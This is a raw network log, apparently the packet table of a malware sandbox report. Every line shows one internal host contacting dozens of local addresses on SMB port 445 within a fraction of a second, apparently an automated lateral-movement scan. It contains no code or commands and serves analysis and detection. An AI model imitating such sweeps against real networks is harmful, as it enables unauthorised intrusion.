Jul 6, 2024 14:11:27.905272961 CEST	50840	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:27.905272961 CEST	50840	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:27.907670021 CEST	445	50839	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:27.907968044 CEST	445	50841	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:27.908231974 CEST	445	50839	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:27.908241987 CEST	445	50841	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:27.911540985 CEST	445	50840	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:27.912910938 CEST	50843	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:27.913347960 CEST	50844	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:27.914378881 CEST	50846	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:27.914601088 CEST	50850	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:27.916496992 CEST	50848	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:27.917273998 CEST	50845	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:27.917273998 CEST	50847	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:27.917854071 CEST	445	50843	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:27.918447971 CEST	50843	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:27.919429064 CEST	445	50846	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:27.919574976 CEST	445	50850	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:27.921395063 CEST	445	50848	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:27.921530962 CEST	50848	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:27.921530962 CEST	50848	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:27.922121048 CEST	445	50844	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:27.922228098 CEST	445	50845	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:27.922808886 CEST	50844	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:27.922808886 CEST	50844	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:27.922808886 CEST	50845	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:27.922808886 CEST	50845	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:27.923686981 CEST	445	50843	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:27.923775911 CEST	50846	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:27.923775911 CEST	50846	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:27.923775911 CEST	50850	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:27.923775911 CEST	50850	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:27.924182892 CEST	445	50847	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:27.924277067 CEST	50847	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:27.924346924 CEST	50847	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:27.925204039 CEST	50843	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:27.926623106 CEST	445	50848	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:27.926736116 CEST	445	50848	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:27.927654028 CEST	445	50844	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:27.927947044 CEST	445	50845	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:27.928049088 CEST	445	50844	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:27.928057909 CEST	445	50845	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:27.928594112 CEST	50843	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:27.929239988 CEST	445	50847	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:27.929378033 CEST	50847	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:27.929553986 CEST	445	50847	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:27.929980040 CEST	50851	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:27.933011055 CEST	445	50846	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:27.933020115 CEST	445	50846	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:27.933137894 CEST	445	50850	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:27.933852911 CEST	445	50843	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:27.933887005 CEST	50850	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:27.934330940 CEST	445	50847	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:27.936532974 CEST	445	50851	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:27.936598063 CEST	50851	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:27.941656113 CEST	445	50851	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:27.944211960 CEST	50851	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:27.944255114 CEST	50851	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:27.944571018 CEST	50854	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:27.944742918 CEST	50853	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:27.946624041 CEST	50856	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:27.949254990 CEST	445	50851	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:27.951308966 CEST	445	50853	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:27.951498985 CEST	445	50856	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:27.951759100 CEST	50853	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:27.951759100 CEST	50853	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:27.952059031 CEST	50856	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:27.952059031 CEST	50856	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:27.952811956 CEST	445	50854	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:27.953459024 CEST	50854	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:27.953459024 CEST	50854	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:27.957806110 CEST	445	50853	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:27.957840919 CEST	445	50853	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:27.958312988 CEST	445	50854	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:27.959506989 CEST	445	50854	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:27.961391926 CEST	445	50856	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:27.962307930 CEST	50858	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:27.962307930 CEST	50856	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:27.969813108 CEST	445	50858	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:27.969866037 CEST	50858	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:27.969975948 CEST	50858	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:27.977747917 CEST	50860	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:27.978869915 CEST	445	50858	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:27.979186058 CEST	50858	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:27.983033895 CEST	445	50860	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:27.983107090 CEST	50860	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:27.991157055 CEST	50860	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:27.991902113 CEST	50865	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:27.992316961 CEST	50862	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:27.995222092 CEST	445	50860	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:27.995373964 CEST	50864	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:27.995373964 CEST	50866	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:27.996764898 CEST	445	50860	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:27.996973991 CEST	50860	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:27.997642040 CEST	445	50865	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:27.997699976 CEST	50865	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:27.997778893 CEST	50865	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:27.998879910 CEST	445	50862	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:27.999726057 CEST	50862	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:27.999726057 CEST	50862	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:28.000230074 CEST	50861	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:28.000230074 CEST	50863	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:28.000339985 CEST	445	50864	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:28.000910997 CEST	445	50866	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:28.001306057 CEST	50864	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:28.001306057 CEST	50864	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:28.001306057 CEST	50866	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:28.001306057 CEST	50866	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:28.003012896 CEST	445	50865	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:28.005908012 CEST	445	50861	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:28.005918026 CEST	445	50863	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:28.005959034 CEST	445	50862	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:28.006438017 CEST	445	50862	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:28.006850004 CEST	445	50864	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:28.006905079 CEST	50861	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:28.006906033 CEST	50863	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:28.006906033 CEST	50863	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:28.006906033 CEST	50861	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:28.006946087 CEST	445	50864	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:28.007421017 CEST	445	50866	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:28.008560896 CEST	50868	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:28.008560896 CEST	50866	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:28.008749008 CEST	50870	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:28.012809992 CEST	445	50863	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:28.013786077 CEST	445	50870	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:28.013854027 CEST	50870	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:28.013936996 CEST	50870	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:28.014503002 CEST	445	50861	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:28.014605045 CEST	445	50863	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:28.014664888 CEST	445	50868	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:28.014724016 CEST	50868	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:28.014777899 CEST	50868	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:28.016602993 CEST	50861	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:28.016725063 CEST	445	50861	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:28.019825935 CEST	445	50868	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:28.022994995 CEST	445	50870	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:28.024178982 CEST	445	50861	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:28.025330067 CEST	50871	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:28.031361103 CEST	445	50871	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:28.031429052 CEST	50871	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:28.031567097 CEST	50871	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:28.033262014 CEST	445	50870	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:28.033622980 CEST	445	50868	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:28.034056902 CEST	50870	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:28.036607981 CEST	445	50871	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:28.036657095 CEST	50871	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:28.037220955 CEST	445	50871	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:28.039717913 CEST	50875	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:28.039717913 CEST	50876	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:28.042352915 CEST	50874	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:28.042352915 CEST	50878	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:28.042352915 CEST	50879	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:28.045116901 CEST	445	50875	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:28.045129061 CEST	445	50876	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:28.045211077 CEST	50875	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:28.046648979 CEST	50876	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:28.047494888 CEST	445	50874	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:28.047508001 CEST	445	50878	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:28.047610044 CEST	50874	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:28.047610044 CEST	50878	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:28.047616005 CEST	445	50879	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:28.049060106 CEST	50879	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:28.049108982 CEST	50876	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:28.049129963 CEST	50875	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:28.049309015 CEST	50874	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:28.049309015 CEST	50878	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:28.049309015 CEST	50879	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:28.050729990 CEST	445	50875	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:28.050770998 CEST	50875	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:28.050981045 CEST	50881	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:28.052225113 CEST	445	50876	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:28.052263021 CEST	50876	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:28.052673101 CEST	50873	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:28.052673101 CEST	50877	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:28.054284096 CEST	445	50876	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:28.054292917 CEST	445	50875	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:28.054302931 CEST	445	50874	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:28.054341078 CEST	445	50878	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:28.054349899 CEST	445	50879	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:28.054737091 CEST	445	50874	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:28.055150032 CEST	445	50878	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:28.055362940 CEST	50884	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:28.055843115 CEST	445	50879	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:28.055907011 CEST	445	50875	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:28.056226969 CEST	50882	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:28.057590008 CEST	445	50876	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:28.057677031 CEST	445	50873	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:28.057686090 CEST	445	50877	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:28.057799101 CEST	445	50881	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:28.060158968 CEST	445	50884	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:28.061203003 CEST	50881	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:28.061357975 CEST	445	50882	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:28.062247038 CEST	50882	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:28.062247038 CEST	50882	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:28.064920902 CEST	50884	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:28.066750050 CEST	445	50881	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:28.067231894 CEST	50877	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:28.067231894 CEST	50873	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:28.067231894 CEST	50873	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:28.067817926 CEST	50881	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:28.068963051 CEST	445	50882	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:28.068970919 CEST	445	50882	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:28.069262028 CEST	50884	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:28.069371939 CEST	50881	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:28.069932938 CEST	445	50884	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:28.074997902 CEST	445	50884	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:28.075006008 CEST	445	50881	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:28.077478886 CEST	50884	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:28.077811956 CEST	50877	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:28.077811956 CEST	50886	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:28.083143950 CEST	445	50873	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:28.083268881 CEST	445	50877	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:28.083363056 CEST	445	50877	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:28.083884001 CEST	445	50873	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:28.087187052 CEST	445	50886	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:28.092240095 CEST	50887	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:28.101653099 CEST	50889	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:28.103753090 CEST	50886	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:28.103753090 CEST	50886	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:28.107048988 CEST	445	50889	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:28.108181000 CEST	50889	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:28.108181953 CEST	50889	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:28.108711958 CEST	445	50887	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:28.109380007 CEST	445	50886	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:28.115297079 CEST	445	50889	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:28.115353107 CEST	50889	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:28.117295980 CEST	50891	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:28.119462013 CEST	50887	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:28.119462013 CEST	50887	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:28.119462013 CEST	50886	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:28.122447014 CEST	445	50891	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:28.122515917 CEST	50891	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:28.122602940 CEST	50891	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:28.124593973 CEST	445	50887	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:28.124644995 CEST	50887	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:28.128318071 CEST	445	50891	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:28.129066944 CEST	50891	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:28.130088091 CEST	50893	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:28.130088091 CEST	50894	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:28.130088091 CEST	50895	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:28.130336046 CEST	50897	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:28.130654097 CEST	50896	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:28.131897926 CEST	50899	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:28.132255077 CEST	50898	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:28.132500887 CEST	50901	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:28.132500887 CEST	50904	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:28.132662058 CEST	50900	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:28.132662058 CEST	50902	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:28.132662058 CEST	50903	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:28.134165049 CEST	50905	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:28.135322094 CEST	445	50893	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:28.135457993 CEST	445	50894	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:28.135468006 CEST	445	50895	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:28.135477066 CEST	445	50897	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:28.135555983 CEST	50897	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:28.135657072 CEST	50897	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:28.135852098 CEST	445	50896	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:28.135899067 CEST	50896	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:28.135931015 CEST	50893	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:28.135931015 CEST	50893	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:28.135931015 CEST	50894	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:28.135931015 CEST	50895	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:28.135931015 CEST	50894	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:28.135931015 CEST	50895	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:28.135957956 CEST	50896	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:28.136821032 CEST	445	50899	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:28.136879921 CEST	50899	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:28.136944056 CEST	50899	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:28.137698889 CEST	445	50898	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:28.137707949 CEST	445	50901	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:28.137716055 CEST	445	50904	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:28.137770891 CEST	50898	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:28.137770891 CEST	50901	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:28.137826920 CEST	445	50900	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:28.137834072 CEST	50904	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:28.137834072 CEST	50898	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:28.137836933 CEST	445	50902	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:28.137845993 CEST	445	50903	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:28.137862921 CEST	50900	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:28.137893915 CEST	50902	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:28.137953997 CEST	50901	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:28.137953997 CEST	50904	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:28.138204098 CEST	50903	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:28.138205051 CEST	50900	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:28.138205051 CEST	50902	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:28.138205051 CEST	50903	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:28.139473915 CEST	445	50905	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:28.139525890 CEST	50905	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:28.139607906 CEST	50905	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:28.141047001 CEST	445	50897	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:28.141066074 CEST	445	50893	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:28.141093016 CEST	445	50897	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:28.141108990 CEST	445	50896	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:28.141117096 CEST	445	50894	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:28.141125917 CEST	445	50895	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:28.141166925 CEST	445	50896	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:28.141360998 CEST	445	50893	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:28.141669035 CEST	445	50894	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:28.141805887 CEST	445	50899	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:28.142096996 CEST	445	50895	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:28.142363071 CEST	445	50899	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:28.142838955 CEST	445	50898	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:28.142848015 CEST	445	50901	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:28.142855883 CEST	445	50904	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:28.142931938 CEST	445	50898	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:28.143331051 CEST	445	50901	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:28.143573046 CEST	445	50900	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:28.143583059 CEST	445	50902	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:28.143589973 CEST	445	50904	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:28.143712997 CEST	445	50903	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:28.143729925 CEST	445	50900	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:28.144512892 CEST	445	50902	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:28.144618034 CEST	445	50903	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:28.144777060 CEST	445	50905	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:28.147059917 CEST	50905	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:28.147770882 CEST	50907	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:28.149173021 CEST	50909	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:28.153353930 CEST	445	50907	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:28.153418064 CEST	50907	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:28.153621912 CEST	50907	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:28.154777050 CEST	445	50909	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:28.155061007 CEST	50909	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:28.158760071 CEST	445	50907	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:28.159413099 CEST	445	50907	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:28.162136078 CEST	445	50909	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:28.162420034 CEST	50909	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:28.162981033 CEST	50909	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:28.168440104 CEST	445	50909	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:28.168843031 CEST	50910	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:28.168843031 CEST	50911	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:28.168843031 CEST	50912	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:28.173811913 CEST	445	50910	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:28.173820972 CEST	445	50911	192.168.1.178	192.168.2.6
